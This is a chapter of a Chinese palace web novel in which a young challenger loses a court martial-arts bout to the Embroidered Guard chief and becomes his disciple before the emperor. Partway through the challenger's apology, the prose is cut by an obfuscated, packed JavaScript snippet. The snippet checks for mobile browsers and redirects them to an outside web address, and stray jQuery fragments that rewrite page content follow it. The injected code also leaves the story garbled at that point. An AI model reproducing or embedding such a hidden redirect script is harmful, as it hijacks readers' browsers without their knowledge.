一场挑战与守擂台的比赛正式进行。
比武选择在飞龙殿院子的空地进行,习武人之间的切磋,历来讲究点到为止论输赢。
可这场比试毕竟是在皇上,贵妃们的眼皮子底下进行,关乎习武之人的颜面,故谁也不敢轻视,双方只拿出十二分的精神来。
站在廊下看台的秦双双手肘碰了碰站在身旁左侧的黄云燕,饶有兴致道,“你猜,他们谁会赢。”
黄云燕一双凤眼从准备比赛的袁顶梁和齐东海身上游了一个来回,最后又落回年轻威武的袁顶梁脸上,半羞涩半期盼道,“这个可不好说。”
这个答案显然出乎秦双双预料,齐东海是锦衣卫首领,还担着十万禁军教头的头衔,当年更是一举夺魁的武状元,如今年纪是大了些,体力远不如壮年夺冠时威猛,可再怎么,也不会输给一个名不经传的愣头青袁顶梁吧。
秦双双对着看的认真的黄云燕半开玩笑道,“你倒是很看好这个袁家公子啊。”
“皇上在这呢,你胡说什么呢。”黄云燕怒嗔她一眼,解释道,“这拳脚上的工夫比的就是速度与力道,年轻就是最大的优势,我看好袁家公子也不是凭空猜测。”
细细看去,那袁顶梁不过二十出头,正是意气风发的年纪,确实比四十几岁的齐东海强壮不少。
天气炎热,寻常的衣衫不利于拳脚舒展,二人故脱了外衫,换上了侍卫操练时常穿的露肩短衫,下配红色宽松灯笼长裤。
没了长袖遮挡,袁顶梁露出的两只手臂壮如麒麟,抬手间粗犷的肉线条呈现明显的厚实感,对面的齐东海也是虎背熊腰,皮肤更因常年游走军营教场,晒成了麦黄色,下巴整齐浓密的胡须,更显男子气概。
随着站在中间的王忠一声令下,比赛开始。
不懂功夫的秦双双看不出拳脚里的门道,只看见两个身强力壮的武夫大热天厮打在一起,嘴里不时发出沉闷的发力声,脑子里不自觉的想起爱习武的朱允炆来,莫非他平日也是这样赤膊习武练剑的?
说起来每天早上,她要么晚起,要么急着去皇后处请安,竟一次都没见过他早起练剑的情景。
改天她定要亲眼看一看,朱允炆是不是也这般粗鲁,累的满身臭汗,发力到五官扭曲。
既是切磋武艺,齐东海出于年龄礼让,叫年轻的后辈袁顶梁率先出拳,袁顶梁也不客气,铁锤般大小的拳头带着势不可挡的力道直冲齐东海面门而去,齐东海丝毫不慌,借腰部发力微微侧身躲避拳头的同时挥肘格挡,抬腿反攻对方腰腹。
这一拳出力太猛,袁顶梁重心微晃,若是躲避不及,会被对手直接踢飞出去。
看台上的黄云燕不由的心跟着一紧,手里的帕子越绞越紧,好在袁顶梁身手矫健,一个后空翻轻松躲避。
第一回合,算是齐平。
在场支持袁顶梁的人无不暗松一口气,包括对他渐起兴致的朱允炆更是忍不住鼓掌叫好。
秦双双视线被吸引,入眼的是朱允炆一张俊美的侧脸,高如山的鼻梁上架起密如羽扇的睫毛,黑如墨的眸子随着双方的动作而左右流转,一袭紫袍,玉带如丝,勾勒出细长的腰身,整个人如玉如风。
嘴角因方才的精彩而微微上扬,丝毫不掩饰对后起之辈的欣赏。
玉面书生俊儿郎,不愧是皇室调教出来的帝王,气度远超京城富贵公子哥。
瞧着那张看过无数次的脸,秦双双越看越喜欢,看的眉眼带笑,嘴角弯弯。
看的愣是专注比赛的朱允炆都察觉出身旁异样的目光,忍不住瞧侧身看来。
被发现窥视的秦双双也不急着躲闪,反朝他调皮的眨了眨眼,转而快速扭头看向比武的二人。
朱允炆早就习惯,知晓秦双双不似寻常大家闺秀那般端庄,可在外面大胆展露对他的欣赏还是头一次,朱允炆有些不习惯,遂收了目光,继续观赛。
院子中央,二人正打的火热,别看齐东海年逾四十,踢腿出拳的动作不减当年,足见日日操练不曾落下。
袁顶梁实战经验不足,可胜在年轻体壮,拳脚带风,招式翻花,动作干脆利落。
三个回合下来,齐东海仗着老道的经验一直站在上风,袁顶梁连对方衣襟都不曾沾到半分。
师傅曾经教过他,在不了解对手实力的情况下,不过多的暴露自己的招式,避免对方寻出破绽才是上策。
深谙此道的袁顶梁,知道对手老练,故以守为功,只见招拆招,而不出招。
齐东海如何不知这取巧之法,只从对手出招就看出了袁顶梁打的什么主意,更知自己体力不适合持久消耗下去,两招过后,故意卖出左拳无力的破绽,企图引袁顶梁攻击他的弱项。
黄云燕眼看着年轻气盛又对自己武力颇有自信的袁顶梁果然上当,却空叹无力阻拦,唯有暗暗着急,袁顶梁只以为对手年老拳弱,猛拳出击试图速战速决,却被老辣的齐东海看出,他的拳脚动作里多是华而不实的花架子。
最后,就在袁顶梁以为有必胜把握时,齐东海以一记穿掌直插袁顶梁咽喉。
黄云燕手一抖,帕子掉落,飘至廊外台阶下,好在众人的目光都在比赛上,并无人发觉她因紧张掉落的手帕。
如剑的掌风震的袁顶梁脖间一凉,抬眼只见齐东海不急不喘一张几近肃穆的脸,稳如泰山。
输了比赛不丢人,输了还不服气就有为君子了。
袁顶梁只站立好身姿,拱手谢罪,“冲撞了大师,是我失礼了。
齐东海收手,站如松立,客气道,“难得年轻人吃苦好学,后生可畏。”
二人整理好衣衫仪容,遂到殿前听训。
这场比赛袁顶梁输的心服口服,懂些拳脚的朱允炆也看得出他天资确实不错,只是拜学的师傅太杂太乱,拳脚杂乱没有章法,至于急于求胜反失了先机,在他看来,这算不得缺点,年轻人气盛,正是热血青年该有的阳刚之气。
一旁观赛的秦双双不懂拳脚,只看出一个热血青年的勇猛,和一个老当益壮出手刃有余的武学宗师。
面对帝王,袁顶梁俯身拱手,为之前的口出狂言谢罪,“小民输了,甘愿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704036|184824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任罚。”
朱允炆笑笑没有说话,而是看向跟他站在一起的齐东海,“齐首领,袁公子的功夫如何。”
齐东海素来耿直,有话直说,“花架子,好看,却无用。”
本来准备虚心求教的袁顶梁有些不服,“我师傅可是师从少林高僧,您可以说我当徒弟的学艺不精,技不如人,如何敢说师傅的武学招式是花架子。”
齐东海捋了捋方才动乱的胡须,摇头叹息,“什么师从高僧,我看你那师傅多半是个骗吃骗喝骗人家喊师傅的江湖骗子罢了,若真打起架来,还不敌我一拳。”
输了比赛的袁顶梁,认输不认辱,直直挺起身,“敢不敢再来比试一场,我定赢你。”
面对后生气急眼,齐东海冷笑不语。
朱允炆赶紧出来劝和,“袁公子不要急着生气,齐首领素来直爽,并无恶意。”
安慰好气鼓鼓的袁顶梁,朱允炆又对齐东海道,“若叫袁公子拜你为师,齐首领可有把握教他。”
齐东海瞥了眼袁顶梁,拱手回话,“回皇上,若他肯叫老夫调教,明年比武大会的前三甲必有他袁公子提名。”
秦双双与黄云燕四目相对,这才明白朱允炆为何偏叫齐东海出战,单凭袁顶梁的身手随便一个御前锦衣卫都足以应付。
他是欣赏袁顶梁为父顶罪的勇气,更是看出袁顶梁是个习武的好苗子,有意提拔,给他一个拜师学艺的机会。
至于那袁顶梁会不会答允,他自然是愿意的,甚至是求之不得。
齐东海是谁,那是多少人举着银子求也求不来的禁军教头,闻听此言呆愣了好一会的袁顶梁,激动到有些说不出话,干脆直愣愣跪在地上,猛磕了三个响头,“恩师在上,徒弟袁顶梁,叩拜恩师。”
齐东海,“那你之前的师傅呢,我可不想跟江湖骗子教同一个徒弟。”
袁顶梁呵呵一笑,摸着后脑勺,“师父说他们是江湖骗子那他们肯定是,我回去就给他们银钱,将他们赶出府外,从今往后,我只有您一个师父。”
习武之人学有所成后,除了打遍天下无敌手之外,更希望一身本领可以流传,肯吃苦又好学的天生武苗子,如遇恩师,那都是可遇不可求的事。
眼下朝廷正是用人之际,朱允炆喜见齐东海喜收爱徒,为了方便教学,特破格提拔袁顶梁做了一名临时锦衣卫,只待学成那日亲自验收之后再正式转正。
今日进宫袁顶梁做了最坏的打算,不想结果却是出乎意料的圆满,拜了恩师不说,还做了威风凛凛的锦衣卫,连大明宫都出入自由。
处理完了这个小插曲,朱允炆进了殿内,秦双双吩咐春桃去把带来的菜拿去后厨热一热,等下端给皇上吃。
黄云燕急着去寻帕子,便拉住往里走的秦双双道,“你进去陪皇上吧,我精神不佳,想回宫睡会。”
秦双双也不好拦她,只随了她去。
黄云燕走至廊外台阶下,细瞧一圈,哪里还有什么帕子,场地空空,只剩远处正在换好衣衫准备往外走的袁顶梁与齐东海师徒俩。